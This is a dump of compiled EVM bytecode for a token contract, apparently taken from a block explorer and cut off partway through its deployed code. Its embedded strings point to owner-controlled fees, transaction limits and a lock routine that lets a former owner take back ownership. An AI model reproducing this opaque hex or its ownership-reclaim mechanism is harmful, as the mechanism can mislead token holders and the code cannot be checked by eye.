60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ae390614554565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612bc69190613def565b60405180910390a3505050565b5f808290505f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603612c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3d906145e2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cab90614670565b60405180910390fd5b601860149054906101000a900460ff1615612cdc57612cd4858585613302565b9150506131f3565b600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612d7a5750600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612dc557601454831115612dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dbb906146fe565b60405180910390fd5b5b5f612dcf3061143a565b90505f601654821015905060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614612e3e57612e398787876134cc565b612e40565b5f5b9250808015612e5c5750601860149054906101000a900460ff16155b8015612eaf5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612ec75750601860159054906101000a900460ff165b15612ef157601860169054906101000a900460ff1615612ee75760165491505b612ef08261373d565b5b612f78836040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131fa9092919063ffffffff16565b60075f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60095f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680613055575060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61305f5783613061565b855b9050601860179054906101000a900460ff1680156130c65750600a5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156130f4576015546130e9826130db8a61143a565b6132a590919063ffffffff16565b11156130f3575f80fd5b5b6131448160075f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132a590919063ffffffff16565b60075f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516131e29190613def565b60405180910390a360019450505050505b9392505050565b5f838311158290613241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132389190613c1f565b60405180910390fd5b505f838561324f919061471c565b9050809150509392505050565b5f61329d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506131fa565b905092915050565b5f8082846132b3919061432d565b9050838110156132f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132ef90614799565b60405180910390fd5b8091505092915050565b5f61338a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060075f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131fa9092919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061341b8260075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132a590919063ffffffff16565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516134b99190613def565b60405180910390a3600190509392505050565b5f805f9050600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561354f57613548606461353a601054866137bd90919063ffffffff16565b61383490919063ffffffff16565b9050613621565b600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156135f057505f6135ee60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600f5461325c90919063ffffffff16565b115b156136205761361d606461360f601154866137bd90919063ffffffff16565b61383490919063ffffffff16565b90505b5b5f811115613720576136798160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132a590919063ffffffff16565b60075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137179190613def565b60405180910390a35b613733818461325c90919063ffffffff16565b9150509392505050565b6001601860146101000a81548160ff0219169083151502179055505f8190506137658161387d565b5f4790505f81111561379e5761379d600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613aec565b5b50505f601860146101000a81548160ff02191690831515021790555050565b5f8083036137cd575f905061382e565b5f82846137da91906147b7565b90508284826137e99190614825565b14613829576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613820906148c5565b60405180910390fd5b809150505b92915050565b5f61387583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b34565b905092915050565b5f600267ffffffffffffffff811115613899576138986148e3565b5b6040519080825280602002602001820160405280156138c75781602001602082028036833780820191505090505b50905030815f815181106138de576138dd614910565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613982573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906139a691906142ae565b816001815181106139ba576139b9614910565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613a203060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612a10565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401613a82959493929190614a2d565b5f604051808303815f87803b158015613a99575f80fd5b505af1158015613aab573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613ae0929190614a85565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015613b2f573d5f803e3d5ffd5b505050565b5f8083118290613b7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b719190613c1f565b60405180910390fd5b505f8385613b889190614825565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015613bcc578082015181840152602081019050613bb1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f613bf182613b95565b613bfb8185613b9f565b9350613c0b818560208601613baf565b613c1481613bd7565b840191505092915050565b5f6020820190508181035f830152613c378184613be7565b905092915050565b5f80fd5b5f819050919050565b613c5581613c43565b8114613c5f575f80fd5b50565b5f81359050613c7081613c4c565b92915050565b5f60208284031215613c8b57613c8a613c3f565b5b5f613c9884828501613c62565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f613cca82613ca1565b9050919050565b613cda81613cc0565b8114613ce4575f80fd5b50565b5f81359050613cf581613cd1565b92915050565b5f8060408385031215613d1157613d10613c3f565b5b5f613d1e85828601613ce7565b9250506020613d2f85828601613c62565b9150509250929050565b5f8115159050919050565b613d4d81613d39565b82525050565b5f602082019050613d665f830184613d44565b92915050565b5f819050919050565b5f613d8f613d8a613d8584613ca1565b613d6c565b613ca1565b9050919050565b5f613da082613d75565b9050919050565b5f613db182613d96565b9050919050565b613dc181613da7565b82525050565b5f602082019050613dda5f830184613db8565b92915050565b613de981613c43565b82525050565b5f602082019050613e025f830184613de0565b92915050565b613e1181613d39565b8114613e1b575f80fd5b50565b5f81359050613e2c81613e08565b92915050565b5f8060408385031215613e4857613e47613c3f565b5b5f613e5585828601613ce7565b9250506020613e6685828601613e1e565b9150509250929050565b5f805f60608486031215613e8757613e86613c3f565b5b5f613e9486828701613ce7565b9350506020613ea586828701613ce7565b9250506040613eb686828701613c62565b9150509250925092565b5f60208284031215613ed557613ed4613c3f565b5b5f613ee284828501613e1e565b91505092915050565b613ef481613cc0565b82525050565b5f602082019050613f0d5f830184613eeb565b92915050565b5f60ff82169050919050565b613f2881613f13565b82525050565b5f602082019050613f415f830184613f1f565b92915050565b5f60208284031215613f5c57613f5b613c3f565b5b5f613f6984828501613ce7565b91505092915050565b5f613f7c82613ca1565b9050919050565b613f8c81613f72565b82525050565b5f602082019050613fa55f830184613f83565b92915050565b5f8060408385031215613fc157613fc0613c3f565b5b5f613fce85828601613ce7565b9250506020613fdf85828601613ce7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061402d57607f821691505b6020821081036140405761403f613fe9565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61407a602083613b9f565b915061408582614046565b602082019050919050565b5f6020820190508181035f8301526140a78161406e565b9050919050565b7f4d617820666565206973203525000000000000000000000000000000000000005f82015250565b5f6140e2600d83613b9f565b91506140ed826140ae565b602082019050919050565b5f6020820190508181035f83015261410f816140d6565b9050919050565b7f6e657741646472657373206d757374206e6f7420626520657175616c20746f205f8201527f3078000000000000000000000000000000000000000000000000000000000000602082015250565b5f614170602283613b9f565b915061417b82614116565b604082019050919050565b5f6020820190508181035f83015261419d81614164565b9050919050565b7f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c5f8201527f6f636b0000000000000000000000000000000000000000000000000000000000602082015250565b5f6141fe602383613b9f565b9150614209826141a4565b604082019050919050565b5f6020820190508181035f83015261422b816141f2565b9050919050565b7f436f6e7472616374206973206c6f636b656420756e74696c20372064617973005f82015250565b5f614266601f83613b9f565b915061427182614232565b602082019050919050565b5f6020820190508181035f8301526142938161425a565b9050919050565b5f815190506142a881613cd1565b92915050565b5f602082840312156142c3576142c2613c3f565b5b5f6142d08482850161429a565b91505092915050565b5f6040820190506142ec5f830185613eeb565b6142f96020830184613eeb565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61433782613c43565b915061434283613c43565b925082820190508082111561435a57614359614300565b5b92915050565b7f4d696e206d61785478416d6f756e74206572726f7200000000000000000000005f82015250565b5f614394601583613b9f565b915061439f82614360565b602082019050919050565b5f6020820190508181035f8301526143c181614388565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f614422602683613b9f565b915061442d826143c8565b604082019050919050565b5f6020820190508181035f83015261444f81614416565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6144b0602483613b9f565b91506144bb82614456565b604082019050919050565b5f6020820190508181035f8301526144dd816144a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61453e602283613b9f565b9150614549826144e4565b604082019050919050565b5f6020820190508181035f83015261456b81614532565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6145cc602583613b9f565b91506145d782614572565b604082019050919050565b5f6020820190508181035f8301526145f9816145c0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61465a602383613b9f565b915061466582614600565b604082019050919050565b5f6020820190508181035f8301526146878161464e565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f6146e8602883613b9f565b91506146f38261468e565b604082019050919050565b5f6020820190508181035f830152614715816146dc565b9050919050565b5f61472682613c43565b915061473183613c43565b925082820390508181111561474957614748614300565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f614783601b83613b9f565b915061478e8261474f565b602082019050919050565b5f6020820190508181035f8301526147b081614777565b9050919050565b5f6147c182613c43565b91506147cc83613c43565b92508282026147da81613c43565b915082820484148315176147f1576147f0614300565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61482f82613c43565b915061483a83613c43565b92508261484a576148496147f8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6148af602183613b9f565b91506148ba82614855565b604082019050919050565b5f6020820190508181035f8301526148dc816148a3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f61496061495b6149568461493d565b613d6c565b613c43565b9050919050565b61497081614946565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6149a881613cc0565b82525050565b5f6149b9838361499f565b60208301905092915050565b5f602082019050919050565b5f6149db82614976565b6149e58185614980565b93506149f083614990565b805f5b83811015614a20578151614a0788826149ae565b9750614a12836149c5565b9250506001810190506149f3565b5085935050505092915050565b5f60a082019050614a405f830188613de0565b614a4d6020830187614967565b8181036040830152614a5f81866149d1565b9050614a6e6060830185613eeb565b614a7b6080830184613de0565b9695505050505050565b5f604082019050614a985f830185613de0565b8181036020830152614aaa81846149d1565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c4423731855b937b526ea393227394a34b17b66f4cd38175576ed8af199a71d264736f6c63430008140033

Deployed Bytecode

0x608060405260043610610338575f3560e01c80638da5cb5b116101aa578063c5d24189116100f6578063ec28438a11610094578063f1d5f5171161006e578063f1d5f51714610c0f578063f2fde38b14610c37578063f84ba65d14610c5f578063f872858a14610c875761033f565b8063ec28438a14610b95578063ef422a1814610bbd578063f0cd1dac14610be55761033f565b8063c867d60b116100d0578063c867d60b14610acb578063da00097d14610b07578063dd46706414610b31578063dd62ed3e14610b595761033f565b8063c5d2418914610a4d578063c816841b14610a77578063c860795214610aa15761033f565b8063a457c2d711610163578063a9059cbb1161013d578063a9059cbb14610971578063b0249cc6146109ad578063c44516c0146109e9578063c49b9a8014610a255761033f565b8063a457c2d7146108f7578063a5d69d1f14610933578063a69df4b51461095b5761033f565b80638da5cb5b146107fd5780638ea5220f1461082757806395d89b4114610851578063a073d37f1461087b578063a08e671f146108a5578063a3ca847d146108cf5761033f565b80634a74bb0211610284578063715018a611610222578063807c2d9c116101fc578063807c2d9c1461074557806382eefb431461076f578063844d591c146107995780638b42507f146107c15761033f565b8063715018a6146106db57806375f0a874146106f15780637d1db4a51461071b5761033f565b8063557ed1ba1161025e578063557ed1ba14610621578063602bc62b1461064b57806361a23c691461067557806370a082311461069f5761033f565b80634a74bb02146105935780634cb80fd5146105bd5780635342acb4146105e55761033f565b806323b872dd116102f15780632b112e49116102cb5780632b112e49146104db578063313ce56714610505578063395093511461052f5780633b97084a1461056b5761033f565b806323b872dd1461044d5780632563ae831461048957806327c8f835146104b15761033f565b806306fdde03146103435780630940bbc71461036d578063095ea7b3146103955780631694505e146103d157806318160ddd146103fb5780632198cf6c146104255761033f565b3661033f57005b5f80fd5b34801561034e575f80fd5b50610357610cb1565b6040516103649190613c1f565b60405180910390f35b348015610378575f80fd5b50610393600480360381019061038e9190613c76565b610d41565b005b3480156103a0575f80fd5b506103bb60048036038101906103b69190613cfb565b610e2a565b6040516103c89190613d53565b60405180910390f35b3480156103dc575f80fd5b506103e5610e47565b6040516103f29190613dc7565b60405180910390f35b348015610406575f80fd5b5061040f610e6c565b60405161041c9190613def565b60405180910390f35b348015610430575f80fd5b5061044b60048036038101906104469190613e32565b610e75565b005b348015610458575f80fd5b50610473600480360381019061046e9190613e70565b610f61565b6040516104809190613d53565b60405180910390f35b348015610494575f80fd5b506104af60048036038101906104aa9190613ec0565b611036565b005b3480156104bc575f80fd5b506104c56110e7565b6040516104d29190613efa565b60405180910390f35b3480156104e6575f80fd5b506104ef61110b565b6040516104fc9190613def565b60405180910390f35b348015610510575f80fd5b5061051961114e565b6040516105269190613f2e565b60405180910390f35b34801561053a575f80fd5b5061055560048036038101906105509190613cfb565b611163565b6040516105629190613d53565b60405180910390f35b348015610576575f80fd5b50610591600480360381019061058c9190613c76565b611211565b005b34801561059e575f80fd5b506105a76112af565b6040516105b49190613d53565b60405180910390f35b3480156105c8575f80fd5b506105e360048036038101906105de9190613f47565b6112c2565b005b3480156105f0575f80fd5b5061060b60048036038101906106069190613f47565b611407565b6040516106189190613d53565b60405180910390f35b34801561062c575f80fd5b50610635611424565b6040516106429190613def565b60405180910390f35b348015610656575f80fd5b5061065f61142b565b60405161066c9190613def565b60405180910390f35b348015610680575f80fd5b50610689611434565b6040516106969190613def565b60405180910390f35b3480156106aa575f80fd5b506106c560048036038101906106c09190613f47565b61143a565b6040516106d29190613def565b60405180910390f35b3480156106e6575f80fd5b506106ef611480565b005b3480156106fc575f80fd5b506107056115ce565b6040516107129190613f92565b60405180910390f35b348015610726575f80fd5b5061072f6115f3565b60405161073c9190613def565b60405180910390f35b348015610750575f80fd5b506107596115f9565b6040516107669190613def565b60405180910390f35b34801561077a575f80fd5b506107836115ff565b6040516107909190613def565b60405180910390f35b3480156107a4575f80fd5b506107bf60048036038101906107ba9190613e32565b611605565b005b3480156107cc575f80fd5b506107e760048036038101906107e29190613f47565b6116f1565b6040516107f49190613d53565b60405180910390f35b348015610808575f80fd5b5061081161170e565b60405161081e9190613efa565b60405180910390f35b348015610832575f80fd5b5061083b611735565b6040516108489190613f92565b60405180910390f35b34801561085c575f80fd5b5061086561175b565b6040516108729190613c1f565b60405180910390f35b348015610886575f80fd5b5061088f6117eb565b60405161089c9190613def565b60405180910390f35b3480156108b0575f80fd5b506108b96117f4565b6040516108c69190613def565b60405180910390f35b3480156108da575f80fd5b506108f560048036038101906108f09190613c76565b6117fa565b005b348015610902575f80fd5b5061091d60048036038101906109189190613cfb565b6118e3565b60405161092a9190613d53565b60405180910390f35b34801561093e575f80fd5b5061095960048036038101906109549190613ec0565b6119ab565b005b348015610966575f80fd5b5061096f611a5c565b005b34801561097c575f80fd5b5061099760048036038101906109929190613cfb565b611c2b565b6040516109a49190613d53565b60405180910390f35b3480156109b8575f80fd5b506109d360048036038101906109ce9190613f47565b611c49565b6040516109e09190613d53565b60405180910390f35b3480156109f4575f80fd5b50610a0f6004803603810190610a0a9190613f47565b611c66565b604051610a1c9190613efa565b60405180910390f35b348015610a30575f80fd5b50610a4b6004803603810190610a469190613ec0565b61214e565b005b348015610a58575f80fd5b50610a61612236565b604051610a6e9190613def565b60405180910390f35b348015610a82575f80fd5b50610a8b61223c565b604051610a989190613efa565b60405180910390f35b348015610aac575f80fd5b50610ab5612261565b604051610ac29190613def565b60405180910390f35b348015610ad6575f80fd5b50610af16004803603810190610aec9190613f47565b612267565b604051610afe9190613d53565b60405180910390f35b348015610b12575f80fd5b50610b1b612284565b604051610b289190613d53565b60405180910390f35b348015610b3c575f80fd5b50610b576004803603810190610b529190613c76565b612297565b005b348015610b64575f80fd5b50610b7f6004803603810190610b7a9190613fab565b612457565b604051610b8c9190613def565b60405180910390f35b348015610ba0575f80fd5b50610bbb6004803603810190610bb69190613c76565b6124d9565b005b348015610bc8575f80fd5b50610be36004803603810190610bde9190613e32565b6125bd565b005b348015610bf0575f80fd5b50610bf96126a9565b604051610c069190613def565b60405180910390f35b348015610c1a575f80fd5b50610c356004803603810190610c309190613c76565b6126af565b005b348015610c42575f80fd5b50610c5d6004803603810190610c589190613f47565b61274d565b005b348015610c6a575f80fd5b50610c856004803603810190610c809190613e32565b61290a565b005b348015610c92575f80fd5b50610c9b6129f6565b604051610ca89190613d53565b60405180910390f35b606060038054610cc090614016565b80601f0160208091040260200160405190810160405280929190818152602001828054610cec90614016565b8015610d375780601f10610d0e57610100808354040283529160200191610d37565b820191905f5260205f20905b815481529060010190602001808311610d1a57829003601f168201915b5050505050905090565b610d49612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc90614090565b60405180910390fd5b6005811115610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e10906140f8565b60405180910390fd5b80600e819055508060118190555050565b5f610e3d610e36612a09565b8484612a10565b6001905092915050565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601354905090565b610e7d612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0090614090565b60405180910390fd5b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f610f6d848484612bd3565b5061102b84610f7a612a09565b61102685604051806060016040528060288152602001614ab46028913960085f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610fdd612a09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131fa9092919063ffffffff16565b612a10565b600190509392505050565b61103e612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c190614090565b60405180910390fd5b80601860176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f6111496111387f000000000000000000000000000000000000000000000000000000000000dead61143a565b60135461325c90919063ffffffff16565b905090565b5f60055f9054906101000a900460ff16905090565b5f61120761116f612a09565b846112028560085f61117f612a09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132a590919063ffffffff16565b612a10565b6001905092915050565b611219612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c90614090565b60405180910390fd5b8060168190555050565b601860159054906101000a900460ff1681565b6112ca612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134d90614090565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bb90614186565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f42905090565b5f600254905090565b600f5481565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b611488612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b90614090565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b60155481565b60115481565b61160d612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169090614090565b60405180910390fd5b80600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606004805461176a90614016565b80601f016020809104026020016040519081016040528092919081815260200182805461179690614016565b80156117e15780601f106117b8576101008083540402835291602001916117e1565b820191905f5260205f20905b8154815290600101906020018083116117c457829003601f168201915b5050505050905090565b5f601654905090565b60125481565b611802612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188590614090565b60405180910390fd5b60058111156118d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c9906140f8565b60405180910390fd5b80600d819055508060108190555050565b5f6119a16118ef612a09565b8461199c85604051806060016040528060258152602001614adc6025913960085f611918612a09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131fa9092919063ffffffff16565b612a10565b6001905092915050565b6119b3612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3690614090565b60405180910390fd5b80601860166101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae290614214565b60405180910390fd5b6002544211611b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b269061427c565b60405180910390fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f611c3e611c37612a09565b8484612bd3565b506001905092915050565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f611c6f612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf290614090565b60405180910390fd5b5f8290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d48573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d6c91906142ae565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dd1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611df591906142ae565b60405183